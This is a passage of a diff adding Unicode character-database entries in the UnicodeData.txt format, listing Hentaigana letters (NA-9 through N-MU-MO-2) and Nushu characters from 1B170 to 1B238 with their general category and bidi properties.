+1B086;HENTAIGANA LETTER NA-9;Lo;0;L;;;;;N;;;;;
+1B087;HENTAIGANA LETTER NI-1;Lo;0;L;;;;;N;;;;;
+1B088;HENTAIGANA LETTER NI-2;Lo;0;L;;;;;N;;;;;
+1B089;HENTAIGANA LETTER NI-3;Lo;0;L;;;;;N;;;;;
+1B08A;HENTAIGANA LETTER NI-4;Lo;0;L;;;;;N;;;;;
+1B08B;HENTAIGANA LETTER NI-5;Lo;0;L;;;;;N;;;;;
+1B08C;HENTAIGANA LETTER NI-6;Lo;0;L;;;;;N;;;;;
+1B08D;HENTAIGANA LETTER NI-7;Lo;0;L;;;;;N;;;;;
+1B08E;HENTAIGANA LETTER NI-TE;Lo;0;L;;;;;N;;;;;
+1B08F;HENTAIGANA LETTER NU-1;Lo;0;L;;;;;N;;;;;
+1B090;HENTAIGANA LETTER NU-2;Lo;0;L;;;;;N;;;;;
+1B091;HENTAIGANA LETTER NU-3;Lo;0;L;;;;;N;;;;;
+1B092;HENTAIGANA LETTER NE-1;Lo;0;L;;;;;N;;;;;
+1B093;HENTAIGANA LETTER NE-2;Lo;0;L;;;;;N;;;;;
+1B094;HENTAIGANA LETTER NE-3;Lo;0;L;;;;;N;;;;;
+1B095;HENTAIGANA LETTER NE-4;Lo;0;L;;;;;N;;;;;
+1B096;HENTAIGANA LETTER NE-5;Lo;0;L;;;;;N;;;;;
+1B097;HENTAIGANA LETTER NE-6;Lo;0;L;;;;;N;;;;;
+1B098;HENTAIGANA LETTER NE-KO;Lo;0;L;;;;;N;;;;;
+1B099;HENTAIGANA LETTER NO-1;Lo;0;L;;;;;N;;;;;
+1B09A;HENTAIGANA LETTER NO-2;Lo;0;L;;;;;N;;;;;
+1B09B;HENTAIGANA LETTER NO-3;Lo;0;L;;;;;N;;;;;
+1B09C;HENTAIGANA LETTER NO-4;Lo;0;L;;;;;N;;;;;
+1B09D;HENTAIGANA LETTER NO-5;Lo;0;L;;;;;N;;;;;
+1B09E;HENTAIGANA LETTER HA-1;Lo;0;L;;;;;N;;;;;
+1B09F;HENTAIGANA LETTER HA-2;Lo;0;L;;;;;N;;;;;
+1B0A0;HENTAIGANA LETTER HA-3;Lo;0;L;;;;;N;;;;;
+1B0A1;HENTAIGANA LETTER HA-4;Lo;0;L;;;;;N;;;;;
+1B0A2;HENTAIGANA LETTER HA-5;Lo;0;L;;;;;N;;;;;
+1B0A3;HENTAIGANA LETTER HA-6;Lo;0;L;;;;;N;;;;;
+1B0A4;HENTAIGANA LETTER HA-7;Lo;0;L;;;;;N;;;;;
+1B0A5;HENTAIGANA LETTER HA-8;Lo;0;L;;;;;N;;;;;
+1B0A6;HENTAIGANA LETTER HA-9;Lo;0;L;;;;;N;;;;;
+1B0A7;HENTAIGANA LETTER HA-10;Lo;0;L;;;;;N;;;;;
+1B0A8;HENTAIGANA LETTER HA-11;Lo;0;L;;;;;N;;;;;
+1B0A9;HENTAIGANA LETTER HI-1;Lo;0;L;;;;;N;;;;;
+1B0AA;HENTAIGANA LETTER HI-2;Lo;0;L;;;;;N;;;;;
+1B0AB;HENTAIGANA LETTER HI-3;Lo;0;L;;;;;N;;;;;
+1B0AC;HENTAIGANA LETTER HI-4;Lo;0;L;;;;;N;;;;;
+1B0AD;HENTAIGANA LETTER HI-5;Lo;0;L;;;;;N;;;;;
+1B0AE;HENTAIGANA LETTER HI-6;Lo;0;L;;;;;N;;;;;
+1B0AF;HENTAIGANA LETTER HI-7;Lo;0;L;;;;;N;;;;;
+1B0B0;HENTAIGANA LETTER HU-1;Lo;0;L;;;;;N;;;;;
+1B0B1;HENTAIGANA LETTER HU-2;Lo;0;L;;;;;N;;;;;
+1B0B2;HENTAIGANA LETTER HU-3;Lo;0;L;;;;;N;;;;;
+1B0B3;HENTAIGANA LETTER HE-1;Lo;0;L;;;;;N;;;;;
+1B0B4;HENTAIGANA LETTER HE-2;Lo;0;L;;;;;N;;;;;
+1B0B5;HENTAIGANA LETTER HE-3;Lo;0;L;;;;;N;;;;;
+1B0B6;HENTAIGANA LETTER HE-4;Lo;0;L;;;;;N;;;;;
+1B0B7;HENTAIGANA LETTER HE-5;Lo;0;L;;;;;N;;;;;
+1B0B8;HENTAIGANA LETTER HE-6;Lo;0;L;;;;;N;;;;;
+1B0B9;HENTAIGANA LETTER HE-7;Lo;0;L;;;;;N;;;;;
+1B0BA;HENTAIGANA LETTER HO-1;Lo;0;L;;;;;N;;;;;
+1B0BB;HENTAIGANA LETTER HO-2;Lo;0;L;;;;;N;;;;;
+1B0BC;HENTAIGANA LETTER HO-3;Lo;0;L;;;;;N;;;;;
+1B0BD;HENTAIGANA LETTER HO-4;Lo;0;L;;;;;N;;;;;
+1B0BE;HENTAIGANA LETTER HO-5;Lo;0;L;;;;;N;;;;;
+1B0BF;HENTAIGANA LETTER HO-6;Lo;0;L;;;;;N;;;;;
+1B0C0;HENTAIGANA LETTER HO-7;Lo;0;L;;;;;N;;;;;
+1B0C1;HENTAIGANA LETTER HO-8;Lo;0;L;;;;;N;;;;;
+1B0C2;HENTAIGANA LETTER MA-1;Lo;0;L;;;;;N;;;;;
+1B0C3;HENTAIGANA LETTER MA-2;Lo;0;L;;;;;N;;;;;
+1B0C4;HENTAIGANA LETTER MA-3;Lo;0;L;;;;;N;;;;;
+1B0C5;HENTAIGANA LETTER MA-4;Lo;0;L;;;;;N;;;;;
+1B0C6;HENTAIGANA LETTER MA-5;Lo;0;L;;;;;N;;;;;
+1B0C7;HENTAIGANA LETTER MA-6;Lo;0;L;;;;;N;;;;;
+1B0C8;HENTAIGANA LETTER MA-7;Lo;0;L;;;;;N;;;;;
+1B0C9;HENTAIGANA LETTER MI-1;Lo;0;L;;;;;N;;;;;
+1B0CA;HENTAIGANA LETTER MI-2;Lo;0;L;;;;;N;;;;;
+1B0CB;HENTAIGANA LETTER MI-3;Lo;0;L;;;;;N;;;;;
+1B0CC;HENTAIGANA LETTER MI-4;Lo;0;L;;;;;N;;;;;
+1B0CD;HENTAIGANA LETTER MI-5;Lo;0;L;;;;;N;;;;;
+1B0CE;HENTAIGANA LETTER MI-6;Lo;0;L;;;;;N;;;;;
+1B0CF;HENTAIGANA LETTER MI-7;Lo;0;L;;;;;N;;;;;
+1B0D0;HENTAIGANA LETTER MU-1;Lo;0;L;;;;;N;;;;;
+1B0D1;HENTAIGANA LETTER MU-2;Lo;0;L;;;;;N;;;;;
+1B0D2;HENTAIGANA LETTER MU-3;Lo;0;L;;;;;N;;;;;
+1B0D3;HENTAIGANA LETTER MU-4;Lo;0;L;;;;;N;;;;;
+1B0D4;HENTAIGANA LETTER ME-1;Lo;0;L;;;;;N;;;;;
+1B0D5;HENTAIGANA LETTER ME-2;Lo;0;L;;;;;N;;;;;
+1B0D6;HENTAIGANA LETTER ME-MA;Lo;0;L;;;;;N;;;;;
+1B0D7;HENTAIGANA LETTER MO-1;Lo;0;L;;;;;N;;;;;
+1B0D8;HENTAIGANA LETTER MO-2;Lo;0;L;;;;;N;;;;;
+1B0D9;HENTAIGANA LETTER MO-3;Lo;0;L;;;;;N;;;;;
+1B0DA;HENTAIGANA LETTER MO-4;Lo;0;L;;;;;N;;;;;
+1B0DB;HENTAIGANA LETTER MO-5;Lo;0;L;;;;;N;;;;;
+1B0DC;HENTAIGANA LETTER MO-6;Lo;0;L;;;;;N;;;;;
+1B0DD;HENTAIGANA LETTER YA-1;Lo;0;L;;;;;N;;;;;
+1B0DE;HENTAIGANA LETTER YA-2;Lo;0;L;;;;;N;;;;;
+1B0DF;HENTAIGANA LETTER YA-3;Lo;0;L;;;;;N;;;;;
+1B0E0;HENTAIGANA LETTER YA-4;Lo;0;L;;;;;N;;;;;
+1B0E1;HENTAIGANA LETTER YA-5;Lo;0;L;;;;;N;;;;;
+1B0E2;HENTAIGANA LETTER YA-YO;Lo;0;L;;;;;N;;;;;
+1B0E3;HENTAIGANA LETTER YU-1;Lo;0;L;;;;;N;;;;;
+1B0E4;HENTAIGANA LETTER YU-2;Lo;0;L;;;;;N;;;;;
+1B0E5;HENTAIGANA LETTER YU-3;Lo;0;L;;;;;N;;;;;
+1B0E6;HENTAIGANA LETTER YU-4;Lo;0;L;;;;;N;;;;;
+1B0E7;HENTAIGANA LETTER YO-1;Lo;0;L;;;;;N;;;;;
+1B0E8;HENTAIGANA LETTER YO-2;Lo;0;L;;;;;N;;;;;
+1B0E9;HENTAIGANA LETTER YO-3;Lo;0;L;;;;;N;;;;;
+1B0EA;HENTAIGANA LETTER YO-4;Lo;0;L;;;;;N;;;;;
+1B0EB;HENTAIGANA LETTER YO-5;Lo;0;L;;;;;N;;;;;
+1B0EC;HENTAIGANA LETTER YO-6;Lo;0;L;;;;;N;;;;;
+1B0ED;HENTAIGANA LETTER RA-1;Lo;0;L;;;;;N;;;;;
+1B0EE;HENTAIGANA LETTER RA-2;Lo;0;L;;;;;N;;;;;
+1B0EF;HENTAIGANA LETTER RA-3;Lo;0;L;;;;;N;;;;;
+1B0F0;HENTAIGANA LETTER RA-4;Lo;0;L;;;;;N;;;;;
+1B0F1;HENTAIGANA LETTER RI-1;Lo;0;L;;;;;N;;;;;
+1B0F2;HENTAIGANA LETTER RI-2;Lo;0;L;;;;;N;;;;;
+1B0F3;HENTAIGANA LETTER RI-3;Lo;0;L;;;;;N;;;;;
+1B0F4;HENTAIGANA LETTER RI-4;Lo;0;L;;;;;N;;;;;
+1B0F5;HENTAIGANA LETTER RI-5;Lo;0;L;;;;;N;;;;;
+1B0F6;HENTAIGANA LETTER RI-6;Lo;0;L;;;;;N;;;;;
+1B0F7;HENTAIGANA LETTER RI-7;Lo;0;L;;;;;N;;;;;
+1B0F8;HENTAIGANA LETTER RU-1;Lo;0;L;;;;;N;;;;;
+1B0F9;HENTAIGANA LETTER RU-2;Lo;0;L;;;;;N;;;;;
+1B0FA;HENTAIGANA LETTER RU-3;Lo;0;L;;;;;N;;;;;
+1B0FB;HENTAIGANA LETTER RU-4;Lo;0;L;;;;;N;;;;;
+1B0FC;HENTAIGANA LETTER RU-5;Lo;0;L;;;;;N;;;;;
+1B0FD;HENTAIGANA LETTER RU-6;Lo;0;L;;;;;N;;;;;
+1B0FE;HENTAIGANA LETTER RE-1;Lo;0;L;;;;;N;;;;;
+1B0FF;HENTAIGANA LETTER RE-2;Lo;0;L;;;;;N;;;;;
+1B100;HENTAIGANA LETTER RE-3;Lo;0;L;;;;;N;;;;;
+1B101;HENTAIGANA LETTER RE-4;Lo;0;L;;;;;N;;;;;
+1B102;HENTAIGANA LETTER RO-1;Lo;0;L;;;;;N;;;;;
+1B103;HENTAIGANA LETTER RO-2;Lo;0;L;;;;;N;;;;;
+1B104;HENTAIGANA LETTER RO-3;Lo;0;L;;;;;N;;;;;
+1B105;HENTAIGANA LETTER RO-4;Lo;0;L;;;;;N;;;;;
+1B106;HENTAIGANA LETTER RO-5;Lo;0;L;;;;;N;;;;;
+1B107;HENTAIGANA LETTER RO-6;Lo;0;L;;;;;N;;;;;
+1B108;HENTAIGANA LETTER WA-1;Lo;0;L;;;;;N;;;;;
+1B109;HENTAIGANA LETTER WA-2;Lo;0;L;;;;;N;;;;;
+1B10A;HENTAIGANA LETTER WA-3;Lo;0;L;;;;;N;;;;;
+1B10B;HENTAIGANA LETTER WA-4;Lo;0;L;;;;;N;;;;;
+1B10C;HENTAIGANA LETTER WA-5;Lo;0;L;;;;;N;;;;;
+1B10D;HENTAIGANA LETTER WI-1;Lo;0;L;;;;;N;;;;;
+1B10E;HENTAIGANA LETTER WI-2;Lo;0;L;;;;;N;;;;;
+1B10F;HENTAIGANA LETTER WI-3;Lo;0;L;;;;;N;;;;;
+1B110;HENTAIGANA LETTER WI-4;Lo;0;L;;;;;N;;;;;
+1B111;HENTAIGANA LETTER WI-5;Lo;0;L;;;;;N;;;;;
+1B112;HENTAIGANA LETTER WE-1;Lo;0;L;;;;;N;;;;;
+1B113;HENTAIGANA LETTER WE-2;Lo;0;L;;;;;N;;;;;
+1B114;HENTAIGANA LETTER WE-3;Lo;0;L;;;;;N;;;;;
+1B115;HENTAIGANA LETTER WE-4;Lo;0;L;;;;;N;;;;;
+1B116;HENTAIGANA LETTER WO-1;Lo;0;L;;;;;N;;;;;
+1B117;HENTAIGANA LETTER WO-2;Lo;0;L;;;;;N;;;;;
+1B118;HENTAIGANA LETTER WO-3;Lo;0;L;;;;;N;;;;;
+1B119;HENTAIGANA LETTER WO-4;Lo;0;L;;;;;N;;;;;
+1B11A;HENTAIGANA LETTER WO-5;Lo;0;L;;;;;N;;;;;
+1B11B;HENTAIGANA LETTER WO-6;Lo;0;L;;;;;N;;;;;
+1B11C;HENTAIGANA LETTER WO-7;Lo;0;L;;;;;N;;;;;
+1B11D;HENTAIGANA LETTER N-MU-MO-1;Lo;0;L;;;;;N;;;;;
+1B11E;HENTAIGANA LETTER N-MU-MO-2;Lo;0;L;;;;;N;;;;;
+1B170;NUSHU CHARACTER-1B170;Lo;0;L;;;;;N;;;;;
+1B171;NUSHU CHARACTER-1B171;Lo;0;L;;;;;N;;;;;
+1B172;NUSHU CHARACTER-1B172;Lo;0;L;;;;;N;;;;;
+1B173;NUSHU CHARACTER-1B173;Lo;0;L;;;;;N;;;;;
+1B174;NUSHU CHARACTER-1B174;Lo;0;L;;;;;N;;;;;
+1B175;NUSHU CHARACTER-1B175;Lo;0;L;;;;;N;;;;;
+1B176;NUSHU CHARACTER-1B176;Lo;0;L;;;;;N;;;;;
+1B177;NUSHU CHARACTER-1B177;Lo;0;L;;;;;N;;;;;
+1B178;NUSHU CHARACTER-1B178;Lo;0;L;;;;;N;;;;;
+1B179;NUSHU CHARACTER-1B179;Lo;0;L;;;;;N;;;;;
+1B17A;NUSHU CHARACTER-1B17A;Lo;0;L;;;;;N;;;;;
+1B17B;NUSHU CHARACTER-1B17B;Lo;0;L;;;;;N;;;;;
+1B17C;NUSHU CHARACTER-1B17C;Lo;0;L;;;;;N;;;;;
+1B17D;NUSHU CHARACTER-1B17D;Lo;0;L;;;;;N;;;;;
+1B17E;NUSHU CHARACTER-1B17E;Lo;0;L;;;;;N;;;;;
+1B17F;NUSHU CHARACTER-1B17F;Lo;0;L;;;;;N;;;;;
+1B180;NUSHU CHARACTER-1B180;Lo;0;L;;;;;N;;;;;
+1B181;NUSHU CHARACTER-1B181;Lo;0;L;;;;;N;;;;;
+1B182;NUSHU CHARACTER-1B182;Lo;0;L;;;;;N;;;;;
+1B183;NUSHU CHARACTER-1B183;Lo;0;L;;;;;N;;;;;
+1B184;NUSHU CHARACTER-1B184;Lo;0;L;;;;;N;;;;;
+1B185;NUSHU CHARACTER-1B185;Lo;0;L;;;;;N;;;;;
+1B186;NUSHU CHARACTER-1B186;Lo;0;L;;;;;N;;;;;
+1B187;NUSHU CHARACTER-1B187;Lo;0;L;;;;;N;;;;;
+1B188;NUSHU CHARACTER-1B188;Lo;0;L;;;;;N;;;;;
+1B189;NUSHU CHARACTER-1B189;Lo;0;L;;;;;N;;;;;
+1B18A;NUSHU CHARACTER-1B18A;Lo;0;L;;;;;N;;;;;
+1B18B;NUSHU CHARACTER-1B18B;Lo;0;L;;;;;N;;;;;
+1B18C;NUSHU CHARACTER-1B18C;Lo;0;L;;;;;N;;;;;
+1B18D;NUSHU CHARACTER-1B18D;Lo;0;L;;;;;N;;;;;
+1B18E;NUSHU CHARACTER-1B18E;Lo;0;L;;;;;N;;;;;
+1B18F;NUSHU CHARACTER-1B18F;Lo;0;L;;;;;N;;;;;
+1B190;NUSHU CHARACTER-1B190;Lo;0;L;;;;;N;;;;;
+1B191;NUSHU CHARACTER-1B191;Lo;0;L;;;;;N;;;;;
+1B192;NUSHU CHARACTER-1B192;Lo;0;L;;;;;N;;;;;
+1B193;NUSHU CHARACTER-1B193;Lo;0;L;;;;;N;;;;;
+1B194;NUSHU CHARACTER-1B194;Lo;0;L;;;;;N;;;;;
+1B195;NUSHU CHARACTER-1B195;Lo;0;L;;;;;N;;;;;
+1B196;NUSHU CHARACTER-1B196;Lo;0;L;;;;;N;;;;;
+1B197;NUSHU CHARACTER-1B197;Lo;0;L;;;;;N;;;;;
+1B198;NUSHU CHARACTER-1B198;Lo;0;L;;;;;N;;;;;
+1B199;NUSHU CHARACTER-1B199;Lo;0;L;;;;;N;;;;;
+1B19A;NUSHU CHARACTER-1B19A;Lo;0;L;;;;;N;;;;;
+1B19B;NUSHU CHARACTER-1B19B;Lo;0;L;;;;;N;;;;;
+1B19C;NUSHU CHARACTER-1B19C;Lo;0;L;;;;;N;;;;;
+1B19D;NUSHU CHARACTER-1B19D;Lo;0;L;;;;;N;;;;;
+1B19E;NUSHU CHARACTER-1B19E;Lo;0;L;;;;;N;;;;;
+1B19F;NUSHU CHARACTER-1B19F;Lo;0;L;;;;;N;;;;;
+1B1A0;NUSHU CHARACTER-1B1A0;Lo;0;L;;;;;N;;;;;
+1B1A1;NUSHU CHARACTER-1B1A1;Lo;0;L;;;;;N;;;;;
+1B1A2;NUSHU CHARACTER-1B1A2;Lo;0;L;;;;;N;;;;;
+1B1A3;NUSHU CHARACTER-1B1A3;Lo;0;L;;;;;N;;;;;
+1B1A4;NUSHU CHARACTER-1B1A4;Lo;0;L;;;;;N;;;;;
+1B1A5;NUSHU CHARACTER-1B1A5;Lo;0;L;;;;;N;;;;;
+1B1A6;NUSHU CHARACTER-1B1A6;Lo;0;L;;;;;N;;;;;
+1B1A7;NUSHU CHARACTER-1B1A7;Lo;0;L;;;;;N;;;;;
+1B1A8;NUSHU CHARACTER-1B1A8;Lo;0;L;;;;;N;;;;;
+1B1A9;NUSHU CHARACTER-1B1A9;Lo;0;L;;;;;N;;;;;
+1B1AA;NUSHU CHARACTER-1B1AA;Lo;0;L;;;;;N;;;;;
+1B1AB;NUSHU CHARACTER-1B1AB;Lo;0;L;;;;;N;;;;;
+1B1AC;NUSHU CHARACTER-1B1AC;Lo;0;L;;;;;N;;;;;
+1B1AD;NUSHU CHARACTER-1B1AD;Lo;0;L;;;;;N;;;;;
+1B1AE;NUSHU CHARACTER-1B1AE;Lo;0;L;;;;;N;;;;;
+1B1AF;NUSHU CHARACTER-1B1AF;Lo;0;L;;;;;N;;;;;
+1B1B0;NUSHU CHARACTER-1B1B0;Lo;0;L;;;;;N;;;;;
+1B1B1;NUSHU CHARACTER-1B1B1;Lo;0;L;;;;;N;;;;;
+1B1B2;NUSHU CHARACTER-1B1B2;Lo;0;L;;;;;N;;;;;
+1B1B3;NUSHU CHARACTER-1B1B3;Lo;0;L;;;;;N;;;;;
+1B1B4;NUSHU CHARACTER-1B1B4;Lo;0;L;;;;;N;;;;;
+1B1B5;NUSHU CHARACTER-1B1B5;Lo;0;L;;;;;N;;;;;
+1B1B6;NUSHU CHARACTER-1B1B6;Lo;0;L;;;;;N;;;;;
+1B1B7;NUSHU CHARACTER-1B1B7;Lo;0;L;;;;;N;;;;;
+1B1B8;NUSHU CHARACTER-1B1B8;Lo;0;L;;;;;N;;;;;
+1B1B9;NUSHU CHARACTER-1B1B9;Lo;0;L;;;;;N;;;;;
+1B1BA;NUSHU CHARACTER-1B1BA;Lo;0;L;;;;;N;;;;;
+1B1BB;NUSHU CHARACTER-1B1BB;Lo;0;L;;;;;N;;;;;
+1B1BC;NUSHU CHARACTER-1B1BC;Lo;0;L;;;;;N;;;;;
+1B1BD;NUSHU CHARACTER-1B1BD;Lo;0;L;;;;;N;;;;;
+1B1BE;NUSHU CHARACTER-1B1BE;Lo;0;L;;;;;N;;;;;
+1B1BF;NUSHU CHARACTER-1B1BF;Lo;0;L;;;;;N;;;;;
+1B1C0;NUSHU CHARACTER-1B1C0;Lo;0;L;;;;;N;;;;;
+1B1C1;NUSHU CHARACTER-1B1C1;Lo;0;L;;;;;N;;;;;
+1B1C2;NUSHU CHARACTER-1B1C2;Lo;0;L;;;;;N;;;;;
+1B1C3;NUSHU CHARACTER-1B1C3;Lo;0;L;;;;;N;;;;;
+1B1C4;NUSHU CHARACTER-1B1C4;Lo;0;L;;;;;N;;;;;
+1B1C5;NUSHU CHARACTER-1B1C5;Lo;0;L;;;;;N;;;;;
+1B1C6;NUSHU CHARACTER-1B1C6;Lo;0;L;;;;;N;;;;;
+1B1C7;NUSHU CHARACTER-1B1C7;Lo;0;L;;;;;N;;;;;
+1B1C8;NUSHU CHARACTER-1B1C8;Lo;0;L;;;;;N;;;;;
+1B1C9;NUSHU CHARACTER-1B1C9;Lo;0;L;;;;;N;;;;;
+1B1CA;NUSHU CHARACTER-1B1CA;Lo;0;L;;;;;N;;;;;
+1B1CB;NUSHU CHARACTER-1B1CB;Lo;0;L;;;;;N;;;;;
+1B1CC;NUSHU CHARACTER-1B1CC;Lo;0;L;;;;;N;;;;;
+1B1CD;NUSHU CHARACTER-1B1CD;Lo;0;L;;;;;N;;;;;
+1B1CE;NUSHU CHARACTER-1B1CE;Lo;0;L;;;;;N;;;;;
+1B1CF;NUSHU CHARACTER-1B1CF;Lo;0;L;;;;;N;;;;;
+1B1D0;NUSHU CHARACTER-1B1D0;Lo;0;L;;;;;N;;;;;
+1B1D1;NUSHU CHARACTER-1B1D1;Lo;0;L;;;;;N;;;;;
+1B1D2;NUSHU CHARACTER-1B1D2;Lo;0;L;;;;;N;;;;;
+1B1D3;NUSHU CHARACTER-1B1D3;Lo;0;L;;;;;N;;;;;
+1B1D4;NUSHU CHARACTER-1B1D4;Lo;0;L;;;;;N;;;;;
+1B1D5;NUSHU CHARACTER-1B1D5;Lo;0;L;;;;;N;;;;;
+1B1D6;NUSHU CHARACTER-1B1D6;Lo;0;L;;;;;N;;;;;
+1B1D7;NUSHU CHARACTER-1B1D7;Lo;0;L;;;;;N;;;;;
+1B1D8;NUSHU CHARACTER-1B1D8;Lo;0;L;;;;;N;;;;;
+1B1D9;NUSHU CHARACTER-1B1D9;Lo;0;L;;;;;N;;;;;
+1B1DA;NUSHU CHARACTER-1B1DA;Lo;0;L;;;;;N;;;;;
+1B1DB;NUSHU CHARACTER-1B1DB;Lo;0;L;;;;;N;;;;;
+1B1DC;NUSHU CHARACTER-1B1DC;Lo;0;L;;;;;N;;;;;
+1B1DD;NUSHU CHARACTER-1B1DD;Lo;0;L;;;;;N;;;;;
+1B1DE;NUSHU CHARACTER-1B1DE;Lo;0;L;;;;;N;;;;;
+1B1DF;NUSHU CHARACTER-1B1DF;Lo;0;L;;;;;N;;;;;
+1B1E0;NUSHU CHARACTER-1B1E0;Lo;0;L;;;;;N;;;;;
+1B1E1;NUSHU CHARACTER-1B1E1;Lo;0;L;;;;;N;;;;;
+1B1E2;NUSHU CHARACTER-1B1E2;Lo;0;L;;;;;N;;;;;
+1B1E3;NUSHU CHARACTER-1B1E3;Lo;0;L;;;;;N;;;;;
+1B1E4;NUSHU CHARACTER-1B1E4;Lo;0;L;;;;;N;;;;;
+1B1E5;NUSHU CHARACTER-1B1E5;Lo;0;L;;;;;N;;;;;
+1B1E6;NUSHU CHARACTER-1B1E6;Lo;0;L;;;;;N;;;;;
+1B1E7;NUSHU CHARACTER-1B1E7;Lo;0;L;;;;;N;;;;;
+1B1E8;NUSHU CHARACTER-1B1E8;Lo;0;L;;;;;N;;;;;
+1B1E9;NUSHU CHARACTER-1B1E9;Lo;0;L;;;;;N;;;;;
+1B1EA;NUSHU CHARACTER-1B1EA;Lo;0;L;;;;;N;;;;;
+1B1EB;NUSHU CHARACTER-1B1EB;Lo;0;L;;;;;N;;;;;
+1B1EC;NUSHU CHARACTER-1B1EC;Lo;0;L;;;;;N;;;;;
+1B1ED;NUSHU CHARACTER-1B1ED;Lo;0;L;;;;;N;;;;;
+1B1EE;NUSHU CHARACTER-1B1EE;Lo;0;L;;;;;N;;;;;
+1B1EF;NUSHU CHARACTER-1B1EF;Lo;0;L;;;;;N;;;;;
+1B1F0;NUSHU CHARACTER-1B1F0;Lo;0;L;;;;;N;;;;;
+1B1F1;NUSHU CHARACTER-1B1F1;Lo;0;L;;;;;N;;;;;
+1B1F2;NUSHU CHARACTER-1B1F2;Lo;0;L;;;;;N;;;;;
+1B1F3;NUSHU CHARACTER-1B1F3;Lo;0;L;;;;;N;;;;;
+1B1F4;NUSHU CHARACTER-1B1F4;Lo;0;L;;;;;N;;;;;
+1B1F5;NUSHU CHARACTER-1B1F5;Lo;0;L;;;;;N;;;;;
+1B1F6;NUSHU CHARACTER-1B1F6;Lo;0;L;;;;;N;;;;;
+1B1F7;NUSHU CHARACTER-1B1F7;Lo;0;L;;;;;N;;;;;
+1B1F8;NUSHU CHARACTER-1B1F8;Lo;0;L;;;;;N;;;;;
+1B1F9;NUSHU CHARACTER-1B1F9;Lo;0;L;;;;;N;;;;;
+1B1FA;NUSHU CHARACTER-1B1FA;Lo;0;L;;;;;N;;;;;
+1B1FB;NUSHU CHARACTER-1B1FB;Lo;0;L;;;;;N;;;;;
+1B1FC;NUSHU CHARACTER-1B1FC;Lo;0;L;;;;;N;;;;;
+1B1FD;NUSHU CHARACTER-1B1FD;Lo;0;L;;;;;N;;;;;
+1B1FE;NUSHU CHARACTER-1B1FE;Lo;0;L;;;;;N;;;;;
+1B1FF;NUSHU CHARACTER-1B1FF;Lo;0;L;;;;;N;;;;;
+1B200;NUSHU CHARACTER-1B200;Lo;0;L;;;;;N;;;;;
+1B201;NUSHU CHARACTER-1B201;Lo;0;L;;;;;N;;;;;
+1B202;NUSHU CHARACTER-1B202;Lo;0;L;;;;;N;;;;;
+1B203;NUSHU CHARACTER-1B203;Lo;0;L;;;;;N;;;;;
+1B204;NUSHU CHARACTER-1B204;Lo;0;L;;;;;N;;;;;
+1B205;NUSHU CHARACTER-1B205;Lo;0;L;;;;;N;;;;;
+1B206;NUSHU CHARACTER-1B206;Lo;0;L;;;;;N;;;;;
+1B207;NUSHU CHARACTER-1B207;Lo;0;L;;;;;N;;;;;
+1B208;NUSHU CHARACTER-1B208;Lo;0;L;;;;;N;;;;;
+1B209;NUSHU CHARACTER-1B209;Lo;0;L;;;;;N;;;;;
+1B20A;NUSHU CHARACTER-1B20A;Lo;0;L;;;;;N;;;;;
+1B20B;NUSHU CHARACTER-1B20B;Lo;0;L;;;;;N;;;;;
+1B20C;NUSHU CHARACTER-1B20C;Lo;0;L;;;;;N;;;;;
+1B20D;NUSHU CHARACTER-1B20D;Lo;0;L;;;;;N;;;;;
+1B20E;NUSHU CHARACTER-1B20E;Lo;0;L;;;;;N;;;;;
+1B20F;NUSHU CHARACTER-1B20F;Lo;0;L;;;;;N;;;;;
+1B210;NUSHU CHARACTER-1B210;Lo;0;L;;;;;N;;;;;
+1B211;NUSHU CHARACTER-1B211;Lo;0;L;;;;;N;;;;;
+1B212;NUSHU CHARACTER-1B212;Lo;0;L;;;;;N;;;;;
+1B213;NUSHU CHARACTER-1B213;Lo;0;L;;;;;N;;;;;
+1B214;NUSHU CHARACTER-1B214;Lo;0;L;;;;;N;;;;;
+1B215;NUSHU CHARACTER-1B215;Lo;0;L;;;;;N;;;;;
+1B216;NUSHU CHARACTER-1B216;Lo;0;L;;;;;N;;;;;
+1B217;NUSHU CHARACTER-1B217;Lo;0;L;;;;;N;;;;;
+1B218;NUSHU CHARACTER-1B218;Lo;0;L;;;;;N;;;;;
+1B219;NUSHU CHARACTER-1B219;Lo;0;L;;;;;N;;;;;
+1B21A;NUSHU CHARACTER-1B21A;Lo;0;L;;;;;N;;;;;
+1B21B;NUSHU CHARACTER-1B21B;Lo;0;L;;;;;N;;;;;
+1B21C;NUSHU CHARACTER-1B21C;Lo;0;L;;;;;N;;;;;
+1B21D;NUSHU CHARACTER-1B21D;Lo;0;L;;;;;N;;;;;
+1B21E;NUSHU CHARACTER-1B21E;Lo;0;L;;;;;N;;;;;
+1B21F;NUSHU CHARACTER-1B21F;Lo;0;L;;;;;N;;;;;
+1B220;NUSHU CHARACTER-1B220;Lo;0;L;;;;;N;;;;;
+1B221;NUSHU CHARACTER-1B221;Lo;0;L;;;;;N;;;;;
+1B222;NUSHU CHARACTER-1B222;Lo;0;L;;;;;N;;;;;
+1B223;NUSHU CHARACTER-1B223;Lo;0;L;;;;;N;;;;;
+1B224;NUSHU CHARACTER-1B224;Lo;0;L;;;;;N;;;;;
+1B225;NUSHU CHARACTER-1B225;Lo;0;L;;;;;N;;;;;
+1B226;NUSHU CHARACTER-1B226;Lo;0;L;;;;;N;;;;;
+1B227;NUSHU CHARACTER-1B227;Lo;0;L;;;;;N;;;;;
+1B228;NUSHU CHARACTER-1B228;Lo;0;L;;;;;N;;;;;
+1B229;NUSHU CHARACTER-1B229;Lo;0;L;;;;;N;;;;;
+1B22A;NUSHU CHARACTER-1B22A;Lo;0;L;;;;;N;;;;;
+1B22B;NUSHU CHARACTER-1B22B;Lo;0;L;;;;;N;;;;;
+1B22C;NUSHU CHARACTER-1B22C;Lo;0;L;;;;;N;;;;;
+1B22D;NUSHU CHARACTER-1B22D;Lo;0;L;;;;;N;;;;;
+1B22E;NUSHU CHARACTER-1B22E;Lo;0;L;;;;;N;;;;;
+1B22F;NUSHU CHARACTER-1B22F;Lo;0;L;;;;;N;;;;;
+1B230;NUSHU CHARACTER-1B230;Lo;0;L;;;;;N;;;;;
+1B231;NUSHU CHARACTER-1B231;Lo;0;L;;;;;N;;;;;
+1B232;NUSHU CHARACTER-1B232;Lo;0;L;;;;;N;;;;;
+1B233;NUSHU CHARACTER-1B233;Lo;0;L;;;;;N;;;;;
+1B234;NUSHU CHARACTER-1B234;Lo;0;L;;;;;N;;;;;
+1B235;NUSHU CHARACTER-1B235;Lo;0;L;;;;;N;;;;;
+1B236;NUSHU CHARACTER-1B236;Lo;0;L;;;;;N;;;;;
+1B237;NUSHU CHARACTER-1B237;Lo;0;L;;;;;N;;;;;
+1B238;NUSHU CHARACTER-1B238;Lo;0;L;;;;;N;;;;;
